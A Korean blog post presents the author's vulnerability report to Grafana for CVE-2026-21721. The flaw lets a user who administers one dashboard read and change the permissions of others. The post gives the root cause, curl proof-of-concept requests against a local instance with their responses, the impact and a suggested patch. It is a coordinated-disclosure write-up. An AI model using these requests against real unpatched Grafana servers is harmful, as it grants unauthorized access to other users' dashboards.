CVE-2026-21721

2026. 1. 31. 16:52·0-day

보고서를 쓴지 얼마 안되었을때 쓴 보고서라서 그런지 지금 보기에는 고칠점이 많지만 다행히 grafana 측에서 정보를 더 요청하지 않고 바로 accept 해 주었다.

1. Summary


대시보드 권한 API가 대상 대시보드 스코프를 검증하지 않고 dashboards.permissions:* 액션만 확인해, 한 대시보드에서 권한 관리 권한을 가진 사용자가 다른 대시보드의 권한을 읽고 수정할 수 있습니다. 조직 내 권한 상 승(Privilege Escalation) 취약점입니다.

2. Description


Grafana는 대시보드마다 별도의 권한(읽기/쓰기/관리)을 설정할 수 있습니다. 정상 동작이라면 특정 대시보드에만 “권한 관리자”인 사용자는 다른 대시보드 권한에 접근할 수 없어야 합니다. 그러나 현재는 권한 체크가 대시 보드 스코프 없이 액션만 검사되어, 다른 대시보드 권한 조회 및 변경이 가능합니다.

2.1 Expected flow

다음 API 호출 시:

  • GET /api/dashboards/uid/<dashboard_uid>/permissions
  • POST /api/dashboards/uid/<dashboard_uid>/permissions

Grafana는 요청 대상 대시보드 범위에 대해 dashboards.permissions:read/write 권한이 있는지 검증해야 합니다. 특정 대시보드에만 권한이 있는 사용자는 다른 대시보드에 대해 403/404가 나와야 합니다.

2.2 Root Cause

라우팅에서 스코프 없이 권한을 검사합니다:

  • pkg/api/api.go authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead)) authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite))

pkg/services/accesscontrol/evaluator.go에서 EvalPermission은 스코프가 없으면 액션만 있어도 허용하기 때문에, 한 대시보드에 대한 권한 관리자라면 전체 대시보드에 대해 통과됩니다.

3. PoC


환경:

  • Grafana OSS 로컬 인스턴스
  • 대시보드 2개: dashboard1, dashboard2
  • 사용자 testuser는 dashboard1에만 Admin 권한
  • dashboard2에는 권한 없음
  1. dashboard2 UID 확인 (관리자 계정):
curl -s -u admin:admin \\
"<http://localhost:3000/api/search?query=dashboard2>"

응답 예:

{"uid":"adtdknq", ...}

  1. testuser ID 확인 (관리자 계정):
curl -s -u admin:admin \\
"<http://localhost:3000/api/users/lookup?loginOrEmail=testuser>"

응답 예:

{"id":2, ...}

  1. testuser로 dashboard2 권한 조회 (정상이라면 403이어야 함):

curl -s -u testuser:testuser \ "http://localhost:3000/api/dashboards/uid/adtdknq/permissions"

실제 응답 (200):

[
{
"dashboardId":2,
"userLogin":"testuser",
"permission":4,
"permissionName":"Admin",
"uid":"adtdknq",
"title":"dashboard2"
}
]
  1. testuser로 dashboard2 권한 변경 (권한 상승):
curl -s -X POST -u testuser:testuser \\
-H "Content-Type: application/json" \\
"<http://localhost:3000/api/dashboards/uid/adtdknq/permissions>" \\
-d '{
"items": [
{ "userId": 2, "permission": 4 }
]
}'

응답:

{"message":"Dashboard permissions updated"}

결과: 원래 접근 불가했던 dashboard2에 testuser가 Admin으로 등록됨.

4. Impact


  • 특정 대시보드에만 권한 관리자 권한을 가진 사용자가 다른 대시보드 권한을 조회/수정 가능
  • 조직 내 대시보드 접근 권한을 임의로 획득 가능
  • 민감 대시보드 접근 확대 및 권한 상승 발생

5. Patch Recommendation


대상 대시보드 스코프를 권한 체크에 포함해야 합니다.

예시 수정:

  • pkg/api/api.go에서 다음과 같이 스코프를 추가
    • authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead, dashUIDScope))
    • authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite, dashUIDScope))

/uid/:uid 및 /id/:dashboardId 경로 모두에 대해 적절한 스코프 검증을 적용해야 합니다.

'0-day' 카테고리의 다른 글

CVE-2025-66514  (0) 2025.12.27
CVE-2025-66558  (0) 2025.12.27
'0-day' 카테고리의 다른 글
  • CVE-2025-66514
  • CVE-2025-66558
se1en
se1en
se1en의 보안 블로그
  • se1en
    se1en
    se1en
  • 전체
    오늘
    어제
    • 분류 전체보기 (7)
      • CTF (1)
      • 0-day (3)
      • 1-day (0)
      • About Me (1)
      • ai for security (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    CTF
    버그바운티
    0-day
    웹해킹
    Bugbounty
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
se1en
CVE-2026-21721
상단으로

티스토리툴바